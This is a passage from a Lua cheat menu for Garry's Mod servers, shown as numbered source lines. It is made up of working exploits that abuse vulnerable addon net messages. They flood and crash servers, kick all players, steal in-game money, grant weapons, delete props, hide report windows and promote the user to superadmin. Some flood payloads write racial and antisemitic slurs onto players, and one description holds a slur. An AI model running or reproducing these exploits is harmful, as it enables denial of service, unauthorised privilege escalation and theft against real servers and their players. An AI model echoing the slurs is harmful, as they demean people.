3155 net.Start("DarkRP_Kun_ForceSpawn")
3156 net.SendToServer()
3157end);end
3158
3159
3160local status = ValidNetString("SyncPrinterButtons76561198056171650")
3161if (status) then
3162SploitText("Found Exploit: Steal All Monies #2")
3163addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
3164 surface.PlaySound("garrysmod/ui_click.wav")
3165
3166 SploitText("Collecting Money")
3167
3168 for k, v in pairs(ents.GetAll()) do
3169
3170 if (v:GetClass() == "adv_moneyprinter") then
3171
3172 net.Start( "SyncPrinterButtons76561198056171650" )
3173
3174 net.WriteEntity(v)
3175
3176 net.WriteUInt(2, 4)
3177
3178 net.SendToServer()
3179
3180 end
3181
3182 end
3183end);end
3184
3185local function report()
3186 for i = 1, 2000 do
3187 net.Start("DL_Answering")
3188 net.SendToServer()
3189 end
3190end
3191
3192if (Damagelog) then
3193SploitText("Found Exploit: Kick All Players")
3194reportSpam = 0
3195addExploit( "17","Kick All Players", "Kicks all players", function()
3196 surface.PlaySound("garrysmod/ui_click.wav")
3197 if (reportSpam == 0) then
3198 SploitNotify("Starting Kicker")
3199 reportSpam = 1
3200 timer.Create("reportSpammer", 0.05, 0, report)
3201 else
3202 SploitNotify("Stopping Kicker")
3203 reportSpam = 0
3204 timer.Remove("reportSpammer")
3205 end
3206
3207end);end
3208
3209
3210local status = ValidNetString("SimplicityAC_aysent")
3211if (status) then
3212SploitText("Found Exploit: Instant Crash")
3213addExploit( "19","Instant Crash", "Will instantly crash the server", function()
3214 surface.PlaySound("garrysmod/ui_click.wav")
3215 SploitText("Goodbye Server")
3216 local tbl = {}
3217
3218 for i=1,400 do
3219
3220 tbl[i] = i
3221
3222 end
3223
3224 net.Start("SimplicityAC_aysent")
3225
3226 net.WriteUInt(1, 8)
3227
3228 net.WriteUInt(4294967295, 32)
3229
3230 net.WriteTable(tbl)
3231
3232 net.SendToServer()
3233end);end
3234
3235local status = ValidNetString("ATS_WARP_REMOVE_CLIENT")
3236if (status) then
3237SploitText("Found Exploit: Lagger #1")
3238lagger1 = 0
3239addExploit( "20", "Lagger #1", "b1g lags", function()
3240 surface.PlaySound("garrysmod/ui_click.wav")
3241 if (lagger1 == 0) then
3242 SploitNotify("Starting Lagger")
3243 lagger1 = 1
3244 timer.Create("lagger1", 0.02, 0, function()
3245
3246 for k,v in pairs(player.GetAll()) do
3247
3248 net.Start( "ATS_WARP_REMOVE_CLIENT" )
3249
3250 net.WriteEntity( v )
3251
3252 net.WriteString( "adminroom1" )
3253
3254 net.SendToServer()
3255
3256 net.Start( "ATS_WARP_FROM_CLIENT" )
3257
3258 net.WriteEntity( v )
3259
3260 net.WriteString( "adminroom1" )
3261
3262 net.SendToServer()
3263
3264 net.Start( "ATS_WARP_VIEWOWNER" )
3265
3266 net.WriteEntity( v )
3267
3268 net.WriteString( "adminroom1" )
3269
3270 net.SendToServer()
3271
3272 end
3273
3274 end)
3275 else
3276 SploitNotify("Stopping Lagger")
3277 lagger1 = 0
3278 timer.Remove("lagger1")
3279 end
3280
3281end);end
3282
3283local status = ValidNetString("CFRemoveGame")
3284if (status) then
3285SploitText("Found Exploit: Lagger #2")
3286lagger2 = 0
3287addExploit( "21", "Lagger #2", "b1g lags", function()
3288 surface.PlaySound("garrysmod/ui_click.wav")
3289 if (lagger2 == 0) then
3290 SploitNotify("Starting Lagger")
3291 lagger2 = 1
3292 timer.Create("lagger2", 0.01, 0, function()
3293
3294 for k,v in pairs(player.GetAll()) do
3295
3296 net.Start( "CFRemoveGame" )
3297
3298 net.WriteFloat( math.Round( "10000\n" ) )
3299
3300 net.SendToServer()
3301
3302 net.Start( "CFJoinGame" )
3303
3304 net.WriteFloat( math.Round( "10000\n" ) )
3305
3306 net.SendToServer()
3307
3308 net.Start( "CFEndGame" )
3309
3310 net.WriteFloat( "10000\n" )
3311
3312 net.SendToServer()
3313
3314 end
3315
3316 end)
3317 else
3318 SploitNotify("Stopping Lagger")
3319 lagger2 = 0
3320 timer.Remove("lagger2")
3321 end
3322
3323end);end
3324
3325local status = ValidNetString("CreateCase")
3326if (status) then
3327SploitText("Found Exploit: Lagger #4")
3328lagger4 = 0
3329addExploit( "23", "Lagger #4", "b1g lags", function()
3330 surface.PlaySound("garrysmod/ui_click.wav")
3331 if (lagger4 == 0) then
3332 SploitNotify("Starting Lagger")
3333 lagger4 = 1
3334 timer.Create("lagger4", 0.02, 0, function()
3335
3336 for i = 1, 300 do
3337
3338 net.Start( "CreateCase" )
3339
3340 net.WriteString( "tapped by citizenhack.me" )
3341
3342 net.SendToServer()
3343
3344
3345 end;end)
3346 else
3347 SploitNotify("Stopping Lagger")
3348 lagger4 = 0
3349 timer.Remove("lagger4")
3350 end
3351
3352end);end
3353
3354local status = ValidNetString("rprotect_terminal_settings")
3355if (status) then
3356SploitText("Found Exploit: Lagger #5")
3357lagger5 = 0
3358addExploit( "24", "Lagger #5", "b1g lags", function()
3359 surface.PlaySound("garrysmod/ui_click.wav")
3360 if (lagger5 == 0) then
3361 SploitNotify("Starting Lagger")
3362 lagger5 = 1
3363 timer.Create("lagger5", 0.02, 0, function()
3364
3365 for i = 1, 200 do
3366
3367 net.Start( "rprotect_terminal_settings" )
3368
3369 net.WriteEntity( LocalPlayer() )
3370
3371 net.SendToServer()
3372
3373 end
3374
3375 end)
3376 else
3377 SploitNotify("Stopping Lagger")
3378 lagger5 = 0
3379 timer.Remove("lagger5")
3380 end
3381
3382end);end
3383
3384local status = ValidNetString("StackGhost")
3385if (status) then
3386SploitText("Found Exploit: Lagger #6")
3387lagger6 = 0
3388addExploit( "25", "Lagger #6", "b1g lags", function()
3389 surface.PlaySound("garrysmod/ui_click.wav")
3390 if (lagger6 == 0) then
3391 SploitNotify("Starting Lagger")
3392 lagger6 = 1
3393 timer.Create("lagger6", 0.010, 0, function()
3394
3395 for i = 1, 8 do
3396 for k,v in pairs( player.GetAll() ) do
3397 net.Start( "StackGhost" )
3398 net.WriteInt(69,32)
3399 net.SendToServer()
3400
3401 end;end;end)
3402 else
3403 SploitNotify("Stopping Lagger")
3404 lagger6 = 0
3405 timer.Remove("lagger6")
3406 end
3407
3408end);end
3409
3410
3411
3412local status = ValidNetString("pac_to_contraption")
3413if (status) then
3414SploitText("Found Exloit: Crash Server")
3415chat.AddText(Color(255,0,0), "GG")
3416addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
3417 surface.PlaySound("garrysmod/ui_click.wav")
3418 SploitNotify("Crashing Server")
3419 local tbl = {}
3420
3421 for i=1,1000000000 do
3422
3423 tbl[#tbl + 1] = i
3424
3425 end
3426
3427 net.Start("pac_to_contraption")
3428
3429 net.WriteTable( tbl )
3430
3431 net.SendToServer()
3432end);end
3433
3434
3435
3436local status = ValidNetString("NLRKick")
3437if (status) then
3438SploitText("Found Exploit: Kick All")
3439addExploit( "27","Kick All", "kick all the beaners", function()
3440 surface.PlaySound("garrysmod/ui_click.wav")
3441 SploitNotify("Kicking All")
3442 for k,v in pairs(player.GetAll()) do
3443 if v != LocalPlayer() then
3444 net.Start("NLRKick")
3445 net.WriteEntity(v)
3446 net.SendToServer()
3447 end
3448 end
3449end);end
3450
3451local status = ValidNetString("JoinOrg")
3452if (status) then
3453SploitText("Found Exploit: Lagger #7")
3454lagger7 = 0
3455addExploit( "28", "Lagger #7", "b1111g lags", function()
3456 surface.PlaySound("garrysmod/ui_click.wav")
3457 if (lagger7 == 0) then
3458 SploitNotify("Starting Lagger")
3459 lagger7 = 1
3460 timer.Create("lagger7", 0.02, 0, function()
3461
3462 for k,v in pairs(player.GetAll()) do
3463 net.Start("JoinOrg")
3464 net.WriteEntity(LocalPlayer())
3465 net.WriteString("test")
3466 net.SendToServer()
3467 end
3468
3469 end)
3470 else
3471 SploitNotify("Stopping Lagger")
3472 lagger7 = 0
3473 timer.Remove("lagger7")
3474 end
3475
3476end);end
3477
3478local status = ValidNetString("giveweapon")
3479if (status) then
3480SploitText("Found Exploit: Give Weapons")
3481addExploit( "29", "Give Weapons", "big explo1t", function()
3482 inputFrame2Exists = true
3483 inputFrame2 = vgui.Create( "DFrame" )
3484 inputFrame2:SetTitle("Choose a weapon!")
3485 inputFrame2:SetSize( 400, 75 )
3486 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
3487 inputFrame2:SetDraggable(false)
3488 inputFrame2:ShowCloseButton(false)
3489 inputFrame2:MakePopup()
3490 inputFrame2.Paint = function( self, w, h )
3491 draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
3492 end
3493
3494 local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
3495 TextEntry2:SetSize( 380, 30 )
3496 TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
3497 TextEntry2:SetText( "m9k_ak47" )
3498 TextEntry2.OnEnter = function( self )
3499 surface.PlaySound("garrysmod/ui_click.wav")
3500 SploitNotify("Giving " .. TextEntry2:GetValue())
3501
3502
3503 net.Start("giveweapon")
3504 net.WriteEntity(LocalPlayer())
3505 net.WriteString(TextEntry2:GetValue())
3506 net.SendToServer()
3507
3508 inputFrame2:SetVisible(false)
3509 end
3510end)
3511end
3512
3513local status = ValidNetString("timebombDefuse")
3514if (status) then
3515SploitText("Found Exploit: Delete All Props")
3516addExploit( "30","Delete All Props", "props = dead", function()
3517 surface.PlaySound("garrysmod/ui_click.wav")
3518 SploitNotify("Props De_Stroyed")
3519 for k,v in pairs(ents.GetAll()) do
3520 net.Start("timebombDefuse")
3521 net.WriteEntity(v)
3522 net.WriteBool(true)
3523 net.SendToServer()
3524 end
3525end);end
3526
3527local status = ValidNetString("pac_submit")
3528if (status) then
3529SploitText("Found Exploit: Lagger")
3530addExploit( "31","Lagger #8", "l4g yuh", function()
3531 surface.PlaySound("garrysmod/ui_click.wav")
3532
3533 if !timer.Exists( "lagger8" ) then
3534 timer.Create("lagger8", 0.5, 0, function()
3535 for i=1, 1800 do
3536 net.Start("pac_submit")
3537 net.SendToServer()
3538 end
3539 end)
3540 SploitNotify("Starting Lagger")
3541 else
3542 timer.Remove("lagger8")
3543 SploitNotify("Stopping Lagger")
3544 end
3545end);end
3546
3547
3548local status = ValidNetString("steamid2")
3549if (status) then
3550SploitText("Found Exploit: Lagger #9")
3551addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
3552 surface.PlaySound("garrysmod/ui_click.wav")
3553
3554 if !timer.Exists( "lagger9" ) then
3555
3556 SploitNotify("Starting Lagger")
3557
3558 timer.Create( "lagger9", 0, 0, function()
3559
3560 for i = 1, 100 do
3561
3562 net.Start( "steamid2" )
3563
3564 net.WriteString( "discord.gg/F7nSfff" )
3565
3566 net.SendToServer()
3567 end
3568 end)
3569 else
3570 timer.Remove("lagger9")
3571 SploitNotify("Stopping Lagger")
3572 end
3573
3574end);end
3575
3576local status = ValidNetString("NDES_SelectedEmblem")
3577if (status) then
3578SploitText("Found Exploit: Lagger #10")
3579addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
3580 surface.PlaySound("garrysmod/ui_click.wav")
3581
3582 if !timer.Exists( "lagger10" ) then
3583 timer.Create("lagger10", 0.5, 0, function()
3584 for i=1, 2000 do
3585 net.Start("NDES_SelectedEmblem")
3586 net.WriteString("exploitcity")
3587 net.SendToServer()
3588 end
3589 end)
3590 SploitNotify("Starting Lagger")
3591 else
3592 timer.Remove("lagger10")
3593 SploitNotify("Stopping Lagger")
3594 end
3595
3596
3597end);end
3598
3599
3600
3601local status = ValidNetString("Morpheus.StaffTracker")
3602if (status) then
3603SploitText("Found Exploit: Crasher #3")
3604addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
3605 surface.PlaySound("garrysmod/ui_click.wav")
3606
3607 if !timer.Exists( "crasher3" ) then
3608 timer.Create("crasher3", 0.5, 0, function()
3609 for i=1, 2000 do
3610 net.Start("Morpheus.StaffTracker")
3611 net.SendToServer()
3612 end
3613 end)
3614 SploitNotify("Crashing Server")
3615 else
3616 timer.Remove("crasher3")
3617 SploitNotify( "Canceling Crasher" )
3618 end
3619
3620end);end
3621
3622
3623local status = ValidNetString("egg")
3624if (status) then
3625SploitText("Found Exploit: Get Easter Egg")
3626addExploit( "34","Get Easter Egg", "ez eggs", function()
3627 surface.PlaySound("garrysmod/ui_click.wav")
3628
3629 net.Start("egg")
3630 net.SendToServer()
3631 SploitNotify("Gave Easter Egg")
3632
3633end);end
3634
3635local status = ValidNetString("TalkIconChat")
3636if (status) then
3637spoofchat = 0
3638SploitText("Found Exploit: Spoof Chat Icon")
3639addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
3640 surface.PlaySound("garrysmod/ui_click.wav")
3641
3642if spoofchat == 0 then
3643 hook.Remove('StartChat', 'TalkIcon')
3644 net.Start("TalkIconChat")
3645 net.WriteBool(true)
3646 net.SendToServer()
3647 spoofchat = 1
3648 SploitNotify("Enabled Icon Spoofer")
3649 else
3650 net.Start("TalkIconChat")
3651 net.WriteBool(false)
3652 net.SendToServer()
3653 SploitNotify("Disabled Icon Spoofer")
3654 spoofchat = 0
3655 end
3656
3657
3658end);end
3659
3660
3661local status = ValidNetString("join_disconnect")
3662if (status) then
3663SploitText("Found Exploit: Lagger #11")
3664addExploit( "36","Lagger #11", "b1g lags my duder", function()
3665 surface.PlaySound("garrysmod/ui_click.wav")
3666
3667if !timer.Exists( "lagger11" ) then
3668 timer.Create("lagger11", 0.5, 0, function()
3669 for i=1, 3000 do
3670 net.Start("join_disconnect")
3671 net.WriteEntity(table.Random(player.GetAll()))
3672 net.SendToServer()
3673 end
3674 end)
3675 SploitNotify("Starting Lagger")
3676 else
3677 timer.Remove("lagger11")
3678 SploitNotify("Stopping Lagger")
3679 end
3680
3681
3682end);end
3683
3684
3685local status = ValidNetString("pplay_deleterow")
3686if (status) then
3687SploitText("Found Exploit: GET SUPERADMIN")
3688addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
3689 surface.PlaySound("garrysmod/ui_click.wav")
3690
3691 local id = LocalPlayer():SteamID()
3692
3693 local tbl = {}
3694
3695 tbl.name = "FAdmin_PlayerGroup"
3696
3697 tbl.where = {
3698
3699 "steamid",
3700
3701 tostring(id)
3702
3703 }
3704
3705 net.Start("pplay_deleterow")
3706
3707 net.WriteTable(tbl)
3708
3709 net.SendToServer()
3710
3711
3712
3713 local tbl = {}
3714
3715 tbl.tblname = "FAdmin_PlayerGroup"
3716
3717 tbl.tblinfo = {
3718
3719 tostring(id),
3720
3721 "superadmin"
3722
3723 }
3724
3725 net.Start("pplay_addrow")
3726
3727 net.WriteTable(tbl)
3728
3729 net.SendToServer()
3730
3731 SploitNotify("promotion ;)")
3732
3733
3734end);end
3735
3736-- ttt report bypass by daddy grampa
3737local title = "You have been reported! Please answer all your reports."
3738local function CheckChild(pan)
3739 if !pan || !IsValid(pan) then return end
3740 if pan.GetTitle && pan:GetTitle() == title then
3741 pan:Remove();
3742 print("Removed warning box")
3743 return
3744 end
3745 for k,v in pairs(pan:GetChildren()) do
3746 if v.GetTitle && v:GetTitle() == title then
3747 v:Remove();
3748 print("Removed warning box")
3749 return
3750 end
3751 if #v:GetChildren() > 0 then
3752 CheckChild(v)
3753 end
3754 end
3755end
3756
3757
3758if (engine.ActiveGamemode() == "terrortown") then
3759bypass = 0
3760SploitText("Found Exploit: TTT Report Bypass")
3761addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
3762 surface.PlaySound("garrysmod/ui_click.wav")
3763
3764if (bypass == 0) then
3765hook.Add("Think", "remove_ttt_report", function()
3766 local pan = vgui.GetHoveredPanel()
3767 CheckChild(pan)
3768end)
3769SploitNotify("Enabled Report Bypass")
3770bypass = 1
3771else
3772hook.Remove("Think", "remove_ttt_report")
3773SploitNotify("Disabled Report Bypass")
3774bypass = 0
3775end
3776
3777
3778end);end
3779
3780local status = ValidNetString("EZS_PlayerTag")
3781if (status) then
3782SploitText("Found exploitable net message: EZS_PlayerTag")
3783addExploit( "39","Lagger #12", "b1g lags my duder", function()
3784 surface.PlaySound("garrysmod/ui_click.wav")
3785
3786 if !timer.Exists( "lagger12" ) then
3787 timer.Create("lagger12", 0.5, 0, function()
3788 for k, v in pairs(player.GetAll()) do
3789 net.Start( "EZS_PlayerTag" )
3790 net.WriteEntity(v)
3791 net.WriteString("I hate niggers")
3792 net.SendToServer()
3793 timer.Simple(2, function()
3794 net.Start( "EZS_PlayerTag" )
3795 net.WriteEntity(v)
3796 net.WriteString("I hate jews")
3797 net.SendToServer()
3798 end)
3799 end
3800 end)
3801 SploitNotify("Starting Lagger")
3802 else
3803 timer.Remove("lagger12")
3804 SploitNotify("Stopping Lagger")
3805 end
3806end);end
3807
3808if ConVarExists("advttt_spreadovertime_enabled") then
3809SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
3810addExploit( "40","Remove Spread", "pSilent No Spread", function()
3811 surface.PlaySound("garrysmod/ui_click.wav")
3812 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
3813 SploitNotify("Spread Removed")
3814end);end
3815
3816
3817local status = ValidNetString("ATS_WARP_FROM_CLIENT")
3818if (status) then
3819SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
3820addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
3821 inputFrame3Exists = true
3822 inputFrame3 = vgui.Create( "DFrame" )
3823 inputFrame3:SetTitle("Type a String Destination")
3824 inputFrame3:SetSize( 400, 75 )
3825 inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
3826 inputFrame3:SetDraggable(false)
3827 inputFrame3:ShowCloseButton(false)
3828 inputFrame3:MakePopup()
3829 inputFrame3.Paint = function( self, w, h )
3830 draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
3831 end
3832
3833 local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
3834 TextEntry3:SetSize( 380, 30 )
3835 TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
3836 TextEntry3:SetText( "*destination*" )
3837 TextEntry3.OnEnter = function( self )
3838 surface.PlaySound("garrysmod/ui_click.wav")
3839 SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
3840
3841 net.Start( "ATS_WARP_FROM_CLIENT" )
3842
3843 net.WriteEntity( LocalPlayer() )
3844 net.WriteString( TextEntry3:GetValue() )
3845
3846 net.SendToServer()
3847
3848
3849 inputFrame3:SetVisible(false)
3850 end
3851end)
3852end
3853
3854
3855
3856
3857
3858
3859/*
3860local status = ValidNetString("TCBuyAmmo")
3861if (status) then
3862addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
3863 surface.PlaySound("garrysmod/ui_click.wav")
3864 SploitText("Getting Le Ammo")
3865end);end
3866*/
3867
3868
3869
3870
3871concommand.Add("master_open", function()
3872 Main:SetVisible(true)
3873 Main:MakePopup()
3874 Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
3875end)
3876
3877closebutton.DoClick = function()
3878 Main:SetMouseInputEnabled(false)
3879 Main:SetKeyBoardInputEnabled(false)
3880 if (inputFrameExists) then
3881 inputFrame:SetVisible(false)
3882 end
3883 if (inputFrame2Exists) then
3884 inputFrame2:SetVisible(false)
3885 end
3886 Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
3887 Main:SetVisible(false)
3888 end)
3889end
3890
3891//Menu Close
3892
3893function CloseMenu()
3894
3895 MenuOpen = false
3896
3897 BDMenu:Close()
3898
3899 end
3900
3901end
3902
3903rebug.voidz(true)